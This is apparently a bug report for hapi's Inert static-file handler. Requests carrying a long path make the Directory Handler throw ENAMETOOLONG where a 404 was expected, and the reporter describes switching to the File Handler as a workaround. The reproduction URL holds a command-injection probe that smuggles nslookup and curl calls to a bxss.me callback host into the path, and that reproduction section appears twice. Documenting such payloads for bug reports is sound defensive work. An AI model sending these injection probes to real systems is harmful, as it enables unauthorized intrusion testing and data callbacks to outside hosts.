Make a GET request to:
http://localhost:3000/{{;(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)|(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)&(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)}}swagger-ui-bundle.js
What was the result you got?
Error: Failed to open file: ENAMETOOLONG: name too long
What result did you expect?
Possibly a 404, similar to how other invalid paths are handled.
Support plan
Context
What are you trying to achieve or the steps to reproduce?
Using the Directory Handler feature, we noticed server errors from possible traversal attacks on a static public folder. https://hapi.dev/tutorials/servingfiles/?lang=en_US#directoryhandler
To fix the issue, we had to remove the directory handler in favor of the File Handler options. Where then custom logic was added to check the
request.params
. https://hapi.dev/tutorials/servingfiles/?lang=en_US#fileoptionsBut I was wondering if this error can be gracefully handled by Inert while using the Directory Handler.
Make a GET request to:
http://localhost:3000/{{;(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)|(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)&(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)}}swagger-ui-bundle.js
What was the result you got?
Error: Failed to open file: ENAMETOOLONG: name too long
What result did you expect?
Possibly a 404, similar to how other invalid paths are handled.